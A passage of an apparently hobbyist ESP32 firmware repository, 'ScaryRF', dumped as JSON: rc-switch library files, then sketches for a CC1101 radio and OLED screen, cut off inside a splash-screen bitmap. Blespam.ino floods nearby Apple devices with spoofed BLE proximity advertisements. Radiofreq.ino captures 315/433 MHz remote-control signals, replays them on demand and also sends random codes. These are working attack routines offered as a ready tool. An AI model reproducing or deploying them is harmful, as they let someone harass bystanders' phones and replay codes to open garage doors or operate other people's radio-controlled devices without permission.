nGroupNumber, int nSwitchNumber, bool bStatus);\n    char* getCodeWordC(char sFamily, int nGroup, int nDevice, bool bStatus);\n    char* getCodeWordD(char group, int nDevice, bool bStatus);\n    void transmit(HighLow pulses);\n\n    #if not defined( RCSwitchDisableReceiving )\n    static void handleInterrupt();\n    static bool receiveProtocol(const int p, unsigned int changeCount);\n    int nReceiverInterrupt;\n    static int nStaticReceiverPin; // needed because nReceiverInterrupt (receiver pin) can not be read from handleInterrupt because it is static\n    #endif\n    int nTransmitterPin;\n    int nRepeatTransmit;\n    \n    Protocol protocol;\n\n    #if not defined( RCSwitchDisableReceiving )\n    static int nReceiveTolerance;\n    volatile static unsigned long nReceivedValue;\n    volatile static unsigned int nReceivedBitlength;\n    volatile static unsigned int nReceivedDelay;\n    volatile static unsigned int nReceivedProtocol;\n    static bool nReceivedInverted;\n    static unsigned int nReceivedLevelInFirstTiming;\n    const static unsigned int nSeparationLimit;\n    /* \n     * timings[0] contains sync timing, followed by a number of bits\n     */\n    static unsigned int firstperiodlevel;\n    static unsigned int timings[RCSWITCH_MAX_CHANGES];\n    #endif\n\n    \n};\n\n#endif\n"
  },
  {
    "path": "Bibliotecas/rc-switch-master/README.md",
    "content": "# rc-switch\n[![Build Status](https://travis-ci.org/sui77/rc-switch.svg?branch=master)](https://travis-ci.org/sui77/rc-switch)\n\nUse your Arduino or Raspberry Pi to operate remote radio controlled devices\n\n## Download\nhttps://github.com/sui77/rc-switch/releases/latest\n\nrc-switch is also listed in the arduino library manager.\n\n## Wiki\nhttps://github.com/sui77/rc-switch/wiki\n\n## Info\n### Send RC codes\n\nUse your Arduino or Raspberry Pi to operate remote radio controlled devices.\nThis will most likely work with all popular low cost power outlet sockets. If\nyours doesn't work, you might need to adjust the pulse length.\n\nAll you need is a Arduino or Raspberry Pi, a 315/433MHz AM transmitter and one\nor more devices with one of the supported chipsets:\n\n - SC5262 / SC5272\n - HX2262 / HX2272\n - PT2262 / PT2272\n - EV1527 / RT1527 / FP1527 / HS1527 \n - Intertechno outlets\n - HT6P20X\n\n### Receive and decode RC codes\n\nFind out what codes your remote is sending. Use your remote to control your\nArduino.\n\nAll you need is an Arduino, a 315/433MHz AM receiver (altough there is no\ninstruction yet, yes it is possible to hack an existing device) and a remote\nhand set.\n\nFor the Raspberry Pi, clone the https://github.com/ninjablocks/433Utils project to\ncompile a sniffer tool and transmission commands.\n"
  },
  {
    "path": "Bibliotecas/rc-switch-master/keywords.txt",
    "content": "#######################################\n# Syntax Coloring Map For RCSwitch\n#######################################\n\n#######################################\n# Datatypes (KEYWORD1)\n#######################################\n\nRCSwitch\tKEYWORD1\n\n#######################################\n# Methods and Functions (KEYWORD2)\n#######################################\n\n##########\n#SENDS Begin\n##########\nswitchOn\t\tKEYWORD2\nswitchOff\t\tKEYWORD2\nsendTriState\t\tKEYWORD2\nsend\t\t\tKEYWORD2\n##########\n#SENDS End\n##########\n\n##########\n#RECEIVE Begin\n##########\nenableReceive\t\tKEYWORD2\ndisableReceive\t\tKEYWORD2\navailable\t\tKEYWORD2\t\nresetAvailable\t\tKEYWORD2\nsetReceiveTolerance\tKEYWORD2\ngetReceivedValue\tKEYWORD2\ngetReceivedBitlength\tKEYWORD2\ngetReceivedDelay\tKEYWORD2\ngetReceivedProtocol\tKEYWORD2\ngetReceivedRawdata\tKEYWORD2\n##########\n#RECEIVE End\n##########\n\n##########\n#OTHERS Begin\n##########\nenableTransmit\t\tKEYWORD2\ndisableTransmit\t\tKEYWORD2\nsetPulseLength\t\tKEYWORD2\nsetProtocol\t\tKEYWORD2\nsetRepeatTransmit\tKEYWORD2\n##########\n#OTHERS End\n##########\n\n#######################################\n# Constants (LITERAL1)\n#######################################\n"
  },
  {
    "path": "Bibliotecas/rc-switch-master/library.json",
    "content": "{\n  \"name\": \"RCSwitch\",\n  \"description\": \"Use your Arduino or Raspberry Pi to operate remote radio controlled devices\",\n  \"keywords\": \"rf, radio, wireless\",\n  \"authors\":\n  {\n    \"name\": \"Suat Ozgur\"\n  },\n  \"repository\":\n  {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/sui77/rc-switch.git\"\n  },\n  \"version\": \"2.52\",\n  \"frameworks\": [\n        \"arduino\",\n        \"energia\",\n        \"wiringpi\"\n  ],\n  \"platforms\": \"*\"\n}\n"
  },
  {
    "path": "Bibliotecas/rc-switch-master/library.properties",
    "content": "name=rc-switch\nversion=2.6.2\nauthor=sui77\nmaintainer=sui77,fingolfin <noreply@sui.li>\nsentence=Operate 433/315Mhz devices.\nparagraph=Use your Arduino or Raspberry Pi to operate remote radio controlled devices. This will most likely work with all popular low cost power outlet sockets. \ncategory=Device Control\nurl=https://github.com/sui77/rc-switch\narchitectures=avr,esp8266\nincludes=RCSwitch.h\n"
  },
  {
    "path": "OLD Version/ScaryRF-NoSD-SH1106/Blespam.ino",
    "content": "int i = 1;\nvoid Blesetup(){\n  NimBLEDevice::init(\"\");\n\n  esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); //This should increase transmitting power to 9dBm\n  esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); //Not sure if this works with NimBLE\n  esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9);\n\n  NimBLEServer *pServer = NimBLEDevice::createServer();\n\n  pAdvertising = pServer->getAdvertising();\n}\n\nNimBLEAdvertisementData getOAdvertisementData() {\n  NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();\n  uint8_t packet[17];\n  uint8_t i = 0;\n\n  packet[i++] = 16;    // Packet Length\n  packet[i++] = 0xFF;        // Packet Type (Manufacturer Specific)\n  packet[i++] = 0x4C;        // Packet Company ID (Apple, Inc.)\n  packet[i++] = 0x00;        // ...\n  packet[i++] = 0x0F;  // Type\n  packet[i++] = 0x05;                        // Length\n  packet[i++] = 0xC1;                        // Action Flags\n  const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };\n  packet[i++] = types[rand() % sizeof(types)];  // Action Type\n  esp_fill_random(&packet[i], 3); // Authentication Tag\n  i += 3;   \n  packet[i++] = 0x00;  // ???\n  packet[i++] = 0x00;  // ???\n  packet[i++] =  0x10;  // Type ???\n  esp_fill_random(&packet[i], 3);\n\n  randomAdvertisementData.addData(std::string((char *)packet, 17));\n  return randomAdvertisementData;\n}\n\nvoid Bleloop(){ \n  delay(40); \n  u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"AppleSour...\");\n      u8g2.setCursor(0, 20);    \n      u8g2.print(i);\n      i++;\n      u8g2.sendBuffer();\n  NimBLEAdvertisementData advertisementData = getOAdvertisementData();\n  pAdvertising->setAdvertisementData(advertisementData);\n  pAdvertising->start();\n  delay(20);\n  pAdvertising->stop();\n}\n"
  },
  {
    "path": "OLD Version/ScaryRF-NoSD-SH1106/Radiofreq.ino",
    "content": "void Detect() {\n  while (digitalRead(BUTTON_PIN_UP) != LOW) {\n    if (receivedBitLength == 0 ) {\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"Waiting Signal...\");\n      u8g2.sendBuffer();\n    }\n    if (mySwitch.available()) {\n      receivedValue = mySwitch.getReceivedValue();\n      receivedBitLength = mySwitch.getReceivedBitlength();\n      unsigned int* rawSignal = mySwitch.getReceivedRawdata();\n      receivedProtocol = mySwitch.getReceivedProtocol();\n\n      if (receivedValue != 0) {\n        u8g2.clearBuffer();\n        u8g2.setCursor(0, 10);\n        u8g2.print(\"Received Signal:\");\n        u8g2.setCursor(0, 20);\n        u8g2.print(receivedValue);\n        u8g2.setCursor(0, 30);\n        u8g2.printf(\"Bit:%d  Ptc:%d\", receivedBitLength, receivedProtocol);\n        u8g2.sendBuffer();\n\n        mySwitch.resetAvailable();\n      }\n    }\n\n    if (digitalRead(BUTTON_PIN) == LOW && receivedValue != 0) {\n      mySwitch.disableReceive();\n      delay(100);\n      mySwitch.enableTransmit(TX_PIN);\n      ELECHOUSE_cc1101.SetTx();\n\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"Received Signal:\");\n      u8g2.setCursor(0, 20);\n      u8g2.print(receivedValue);\n      u8g2.setCursor(0, 30);\n      u8g2.print(\"Sending...\");\n      u8g2.sendBuffer();\n\n      mySwitch.setProtocol(receivedProtocol);\n      mySwitch.send(receivedValue, receivedBitLength);\n\n      delay(500);\n\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"Received Signal:\");\n      u8g2.setCursor(0, 20);\n      u8g2.print(receivedValue);\n      u8g2.setCursor(0, 30);\n      u8g2.print(\"OK\");\n      u8g2.sendBuffer();\n\n      ELECHOUSE_cc1101.SetRx();\n      mySwitch.disableTransmit();\n      delay(100);\n      mySwitch.enableReceive(RX_PIN);\n    }\n\n    if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) {\n      ELECHOUSE_cc1101.setMHZ(315);\n      mhz = 315.00;\n    } else {\n      ELECHOUSE_cc1101.setMHZ(433.92);\n      mhz = 433.92;\n    }\n\n  }\n}\n\n\n#define MAX_SAMPLES 600\nvolatile unsigned long rawData[MAX_SAMPLES];\nvolatile unsigned int dataPoints = 0;\nvolatile unsigned long lastTime = 0;\nvolatile bool signalState = false;\n\nvoid showCaptureInfo(float frequency, int rssi, int sampleCount) {\n  u8g2.clearBuffer();\n  \n  // Header\n  u8g2.setFont(u8g2_font_6x10_tf);\n  u8g2.drawUTF8(0, 10, \"✅ Signal Captured\");\n  u8g2.drawHLine(0, 12, 128);\n\n  // Main information\n  u8g2.setCursor(0, 25);\n  u8g2.print(\"Freq: \");\n  u8g2.print(frequency, 2);\n  u8g2.print(\" MHz\");\n\n  u8g2.setCursor(0, 37);\n  u8g2.print(\"Power: \");\n  u8g2.print(rssi);\n  u8g2.print(\" dBm\");\n\n  u8g2.setCursor(0, 49);\n  u8g2.print(\"Samples: \");\n  u8g2.print(sampleCount);\n\n  // Footer\n  u8g2.setFont(u8g2_font_5x7_tf);\n  u8g2.setCursor(0, 63);\n  u8g2.print(\"DIR:Repeat | BTN:New Capture\");\n\n  u8g2.sendBuffer();\n}\n\nvoid retransmitSignal(float mhz) {\n  ELECHOUSE_cc1101.SetTx();\n  delay(15); // Stabilization time\n  \n  bool txState = HIGH; // Initial state always HIGH\n  digitalWrite(TX_PIN, txState);\n  \n  for (unsigned int i = 0; i < dataPoints; i++) {\n    unsigned long pulseDuration = rawData[i];\n    unsigned long startTime = micros();\n    \n    // Send pulse with precise timing\n    delayMicroseconds(pulseDuration - 12); // Compensate overhead\n    txState = !txState;\n    digitalWrite(TX_PIN, txState);\n    \n    // Ensure exact pulse duration\n    while (micros() - startTime < pulseDuration) {}\n  }\n  \n  digitalWrite(TX_PIN, LOW);\n  ELECHOUSE_cc1101.SetRx();\n  \n  // Quick feedback\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 30);\n  u8g2.print(\"Signal retransmitted!\");\n  u8g2.sendBuffer();\n  delay(300);\n}\n\nvoid Raw() {\n  while (true) {\n    // Set initial frequency\n    float mhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92;\n    ELECHOUSE_cc1101.setMHZ(mhz);\n    ELECHOUSE_cc1101.SetRx();\n    \n    // Wait for capture button\n    while (digitalRead(BUTTON_PIN) == HIGH) {\n      if (digitalRead(BUTTON_PIN_UP) == LOW) return;\n      delay(10);\n    }\n    \n    // Prepare new capture\n    u8g2.clearBuffer();\n    dataPoints = 0;\n    lastTime = 0;\n    signalState = false;\n    \n    // Setup interrupt\n    attachInterrupt(digitalPinToInterrupt(RX_PIN), []{\n      unsigned long now = micros();\n      if (lastTime > 0) {\n        unsigned long duration = now - lastTime;\n        if (duration > 20 && duration < 100000 && dataPoints < MAX_SAMPLES) {\n          //rawData[dataPoints++] = duration;\n          //Teste\n          uint16_t idx = dataPoints;\n          dataPoints = idx + 1;\n          rawData[idx] = duration;\n          //End Teste\n\n          signalState = !signalState;\n        }\n      }\n      lastTime = now;\n    }, CHANGE);\n\n    // Capture loop with waveform\n    int i = 1;\n    while (digitalRead(BUTTON_PIN) == LOW) {\n      if (digitalRead(BUTTON_PIN_UP) == LOW) {\n        detachInterrupt(digitalPinToInterrupt(RX_PIN));\n        return;\n      }\n      \n      // Check frequency change\n      float newMhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92;\n      if (newMhz != mhz) {\n        mhz = newMhz;\n        ELECHOUSE_cc1101.setMHZ(mhz);\n        ELECHOUSE_cc1101.SetRx();\n      }\n      \n      // Update waveform\n      int rssi = ELECHOUSE_cc1101.getRssi();\n      waveform[i] = map(rssi, -100, -40, 0, 1023);\n      \n      // Display information\n      u8g2.setCursor(0, 7);\n      u8g2.print(mhz, 2);\n      u8g2.print(\"MHz \");\n      u8g2.print(rssi);\n      u8g2.print(\"dBm\");\n      \n      // Draw waveform\n      int prevY = map(waveform[i - 1], 0, 1023, SCREEN_HEIGHT - 13, 8);\n      int currY = map(waveform[i], 0, 1023, SCREEN_HEIGHT - 13, 8);\n      u8g2.drawLine(i - 1, prevY, i, currY);\n      u8g2.sendBuffer();\n      \n      i++;\n      if (i >= SCREEN_WIDTH) {\n        u8g2.clearBuffer();\n        i = 1;\n      }\n      \n      delay(30);\n    }\n\n    // Finish capture\n    detachInterrupt(digitalPinToInterrupt(RX_PIN));\n\n    // Process results\n    if (dataPoints > 0) {\n      showCaptureInfo(mhz, ELECHOUSE_cc1101.getRssi(), dataPoints);\n\n      // Multiple retransmission loop\n      while (true) {\n        if (digitalRead(BUTTON_PIN_UP) == LOW) return;\n        \n        if (digitalRead(BUTTON_PIN) == LOW) {\n          delay(50);\n          break; // Exit for new capture\n        }\n        \n        if (digitalRead(BUTTON_PIN_DIR) == LOW) {\n          delay(50); // Debounce\n          retransmitSignal(mhz);\n        }\n        \n        delay(10);\n      }\n    } else {\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 30);\n      u8g2.print(\"No signal captured!\");\n      u8g2.sendBuffer();\n      delay(1000);\n    }\n  }\n}\n\nvoid Analyser() {\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 20);\n  u8g2.printf(\"Analyzing...\");\n  u8g2.sendBuffer();\n\n  while (digitalRead(BUTTON_PIN_UP) != LOW) {\n    int rssi;\n    uint32_t detectedFrequency = 0;\n    int detectedRssi = -100;\n\n    for (size_t i = 0; i < sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); i++) {\n      uint32_t frequency = subghz_frequency_list[i];\n      \n      if (digitalRead(BUTTON_PIN_UP) == LOW){\n        break;\n      }\n\n      ELECHOUSE_cc1101.setMHZ((float)frequency / 1000000.0);\n      ELECHOUSE_cc1101.SetRx();\n      delayMicroseconds(3500);\n      rssi = ELECHOUSE_cc1101.getRssi();\n\n      if (rssi >= rssi_threshold && rssi > detectedRssi) {\n        detectedRssi = rssi;\n        detectedFrequency = frequency;\n      }     \n    }\n\n    if (detectedFrequency != 0) {\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.printf(\"Signal detected:\");\n      u8g2.setCursor(0, 20);\n      u8g2.printf(\"Frequency:%.2fMHz\", (float)detectedFrequency / 1000000.0);\n      u8g2.setCursor(0, 30);\n      u8g2.printf(\"RSSI:%ddBm\", detectedRssi);\n      u8g2.sendBuffer();\n      detectedFrequency = 0;\n    }\n\n    delay(600);\n  }\n  ELECHOUSE_cc1101.SetRx();\n  mySwitch.disableTransmit();\n  delay(100);\n  mySwitch.enableReceive(RX_PIN);\n\n}\n\nvoid SendRandom() {\n\n  if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) {\n    ELECHOUSE_cc1101.setMHZ(315);\n    mhz = 315.00;\n  } else {\n    ELECHOUSE_cc1101.setMHZ(433.92);\n    mhz = 433.92;\n  }\n\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 10);\n  u8g2.print(\"Sending Random:\");\n  u8g2.sendBuffer();\n  delay(100);\n\n  unsigned long randomValue = 100000000 + random(900000000);\n  int randomBitLength = 28;\n  int randomProtocol = 0 + random(12);\n\n  if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) {\n    randomBitLength = 24;\n    randomProtocol = 0 + random(12);\n  }\n\n  mySwitch.disableReceive();\n  delay(100);\n  mySwitch.enableTransmit(TX_PIN);\n  ELECHOUSE_cc1101.SetTx();\n\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 10);\n  u8g2.print(\"Sending Random:\");\n  u8g2.setCursor(0, 20);\n  u8g2.print(randomValue);\n  u8g2.setCursor(0, 30);\n  u8g2.print(randomProtocol);\n  u8g2.setCursor(0, 40);\n  u8g2.print(\"Sending...\");\n  u8g2.sendBuffer();\n\n  mySwitch.setProtocol(randomProtocol);\n  mySwitch.send(randomValue, randomBitLength);\n\n  delay(100);\n\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 10);\n  u8g2.print(\"Sending Random:\");\n  u8g2.setCursor(0, 20);\n  u8g2.print(randomValue);\n  u8g2.setCursor(0, 30);\n  u8g2.print(\"OK\");\n  u8g2.sendBuffer();\n\n  ELECHOUSE_cc1101.SetRx();\n  mySwitch.disableTransmit();\n  delay(100);\n  mySwitch.enableReceive(RX_PIN);\n}\n"
  },
  {
    "path": "OLD Version/ScaryRF-NoSD-SH1106/ScaryRF-Main.ino",
    "content": "#include <U8g2lib.h>\n#include <ELECHOUSE_CC1101_SRC_DRV.h>\n#include <RCSwitch.h>\n\n//bluetooth\n#include <NimBLEDevice.h>\nNimBLEAdvertising *pAdvertising;\n//BLE END\n\n//Wifi\n#include <WiFi.h>\n#include <esp_wifi.h>\n\n#ifdef U8X8_HAVE_HW_I2C\n#include <Wire.h>\n#endif\n\n#define RX_PIN 4         // Pino de recepção\n#define TX_PIN 2         // Pino de transmissão\n#define BUTTON_PIN 14    // Pino do botão\n#define BUTTON_PIN_DIR 27    // Pino do botão\n#define BUTTON_PIN_ESQ 12    // Pino do botão\n#define BUTTON_PIN_UP 26    // Pino do botão\n#define FREQUENCY_SWITCH_PIN 13 // Pino do interruptor para mudar a frequência\n#define SCREEN_WIDTH 128 // Largura da tela OLED\n#define SCREEN_HEIGHT 64 // Altura da tela OLED\n\nU8G2_SH1106_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ U8X8_PIN_NONE);\n\n#define scary_width 128\n#define scary_height 64\nunsigned const char scary_bits[] = {\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8F,\n  0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x3F, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, 0xE0, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xC0, 0x07, 0x00, 0xFE,\n  0xFF, 0x0F, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03,\n  0x00, 0x03, 0x00, 0xFF, 0xFF, 0x07, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x06, 0x00, 0xFF, 0xFF, 0x03, 0xE0, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x06, 0x00, 0xFF,\n  0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87,\n  0x05, 0x06, 0x10, 0xFF, 0xFF, 0x01, 0xE1, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF,\n  0xCF, 0x9F, 0xFF, 0x87, 0x0D, 0x06, 0xBE, 0xFF, 0xFF, 0x81, 0xE3, 0xDF,\n  0xF9, 0xFF, 0x80, 0xFB, 0xE3, 0xC7, 0xFF, 0x87, 0x0D, 0x06, 0xBE, 0xFF,\n  0xFF, 0xC1, 0xE7, 0x07, 0xE8, 0xF3, 0x80, 0xF1, 0xE0, 0xE1, 0xFF, 0x87,\n  0x0F, 0x06, 0xFF, 0xFF, 0xFF, 0xC0, 0xFF, 0x03, 0xC8, 0xE0, 0x03, 0x60,\n  0x60, 0xE0, 0xFF, 0x83, 0x0F, 0x06, 0xFF, 0xFF, 0xFF, 0xC1, 0xFF, 0x00,\n  0x0C, 0x80, 0x03, 0xC0, 0xE0, 0xE0, 0xFF, 0x83, 0x0F, 0x07, 0xFF, 0xFF,\n  0xFF, 0x01, 0xFE, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0xE0, 0xE1, 0xFF, 0x87,\n  0x07, 0x07, 0xF7, 0xFF, 0xFF, 0x01, 0xFC, 0x20, 0x0C, 0x00, 0x83, 0xC0,\n  0xE0, 0xE1, 0xFF, 0x83, 0x03, 0x07, 0xF3, 0xFF, 0xFF, 0x03, 0xF8, 0x30,\n  0x0C, 0x06, 0x83, 0xC1, 0xE0, 0xC1, 0xFF, 0x83, 0x00, 0x07, 0xF3, 0xFF,\n  0xFF, 0x03, 0x70, 0xB0, 0x0C, 0x07, 0x83, 0xC1, 0xE0, 0xC1, 0xFF, 0x87,\n  0x80, 0x07, 0xF0, 0xFF, 0xFF, 0x03, 0x60, 0xF0, 0x8C, 0x03, 0x83, 0xC1,\n  0xE0, 0xE1, 0xFF, 0x07, 0xC0, 0x07, 0xF0, 0xFF, 0xFF, 0xEF, 0x60, 0xF8,\n  0xE6, 0x00, 0x83, 0xE1, 0xE0, 0xE1, 0xFF, 0x07, 0xC0, 0x07, 0xF0, 0xFF,\n  0xFF, 0xEF, 0x61, 0xF8, 0x3E, 0x00, 0x83, 0xE3, 0xE0, 0xE1, 0xFF, 0x03,\n  0x00, 0x07, 0xF0, 0xFF, 0xFF, 0xFF, 0x21, 0xF8, 0x1E, 0x00, 0x83, 0xE3,\n  0xE1, 0xE1, 0xFF, 0x03, 0x00, 0x07, 0xF3, 0xFF, 0xFF, 0xFF, 0x01, 0xF8,\n  0x0F, 0x0C, 0x83, 0xFB, 0xE0, 0xE1, 0xFF, 0x83, 0x03, 0x07, 0xF3, 0xFF,\n  0xFF, 0xFF, 0x01, 0xF8, 0x0F, 0x0E, 0x83, 0xFF, 0xF0, 0xE1, 0xFF, 0x83,\n  0x07, 0x0F, 0xF7, 0xFF, 0xFF, 0xF7, 0x01, 0xF8, 0x05, 0x0F, 0x83, 0xFB,\n  0xE0, 0xE1, 0xFF, 0x83, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x63, 0x00, 0xF8,\n  0x85, 0x0F, 0xC3, 0xFF, 0x60, 0xE0, 0xFF, 0x83, 0x07, 0x0F, 0xFF, 0xFF,\n  0xFF, 0x43, 0x60, 0xF0, 0x84, 0x0F, 0xC3, 0xFF, 0x00, 0xE0, 0xFF, 0x07,\n  0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x43, 0x60, 0xF0, 0x0C, 0x0B, 0xC3, 0xFF,\n  0x00, 0xE0, 0xFF, 0x03, 0x87, 0x0F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x00,\n  0x0C, 0x03, 0xC3, 0xFF, 0x03, 0xE0, 0xFF, 0x03, 0x87, 0x0F, 0xFF, 0xFF,\n  0xFF, 0x03, 0xF0, 0x00, 0x0C, 0x00, 0xE3, 0xFF, 0x0F, 0xE0, 0xFF, 0x03,\n  0x87, 0x8F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x01, 0x0C, 0x00, 0xE2, 0xFF,\n  0x0E, 0xE0, 0xFF, 0x03, 0x87, 0x8F, 0xFF, 0xFF, 0xFF, 0x03, 0xF4, 0x07,\n  0x1C, 0x00, 0xEA, 0xFF, 0xDE, 0xE0, 0xFF, 0x01, 0x87, 0x0F, 0xFF, 0xFF,\n  0xFF, 0x0F, 0xF6, 0x0F, 0x1C, 0x2E, 0xF8, 0xFF, 0xDC, 0xE0, 0xFF, 0x00,\n  0x86, 0x8F, 0xFF, 0xFF, 0xFF, 0x1F, 0xFF, 0x6F, 0xBC, 0xAF, 0xFB, 0xFF,\n  0xFC, 0xE0, 0xFF, 0xFF, 0xC7, 0x8F, 0xFF, 0xFF, 0xFF, 0x9F, 0xFF, 0x7F,\n  0xBC, 0xFF, 0xFB, 0xFF, 0x78, 0xF0, 0xFF, 0xFF, 0xC7, 0xDF, 0xFF, 0xFF,\n  0xFF, 0xDF, 0xFF, 0xFF, 0xFC, 0xFF, 0xFF, 0xFF, 0x30, 0xF8, 0xFF, 0xFF,\n  0xCF, 0xDF, 0xFF, 0xFF, 0xFF, 0xDF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF,\n  0x00, 0xFC, 0xFF, 0xFF, 0xEF, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFC, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFD, 0xFF, 0xFF,\n  0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0x04, 0xFF, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0x0E, 0xFF, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBE, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE,\n  0x7F, 0xFE, 0xFF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFC, 0x7F, 0xFF, 0xFF, 0xFF, 0xFC, 0xFF, 0xFF, 0xFD,\n  0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x87,\n  0xFC, 0xFF, 0xFF, 0xFC, 0x7F, 0x3F, 0xF8, 0x87, 0xFF, 0xFF, 0xFF, 0xFD,\n  0x7F, 0xFF, 0xFF, 0xCF, 0x04, 0x04, 0x80, 0x0F, 0x60, 0xDF, 0xF1, 0x69,\n  0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x64, 0x26, 0xF9, 0x65,\n  0x32, 0xFF, 0xF3, 0x59, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFE, 0xFF, 0xCF,\n  0x64, 0x26, 0x01, 0x64, 0x32, 0x1F, 0xF2, 0x53, 0xFE, 0xFF, 0xFF, 0xFD,\n  0x7F, 0xFF, 0xFF, 0xCF, 0x64, 0xA7, 0xBD, 0x64, 0x12, 0x9F, 0xF9, 0x53,\n  0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0xA4, 0xA7, 0x9F, 0x64,\n  0x12, 0x9F, 0xFF, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF,\n  0xC4, 0xE6, 0x9B, 0x64, 0x22, 0x9F, 0xF6, 0x53, 0xFE, 0xFF, 0xFF, 0xFD,\n  0x7F, 0xFE, 0xFF, 0xC7, 0x64, 0xE6, 0x99, 0x64, 0x22, 0x9F, 0xF2, 0x53,\n  0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x8F, 0x66, 0xE6, 0xD9, 0x64,\n  0x32, 0x9F, 0xF2, 0x71, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x1F,\n  0x02, 0xE3, 0x00, 0x00, 0x13, 0x9F, 0x32, 0x63, 0xFE, 0xFF, 0xFF, 0xFD,\n  0x7F, 0xFF, 0xFF, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x9F, 0x33, 0x87,\n  0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFB, 0x0F, 0xA0, 0xDF, 0xFF, 0xFF, 0xFF, 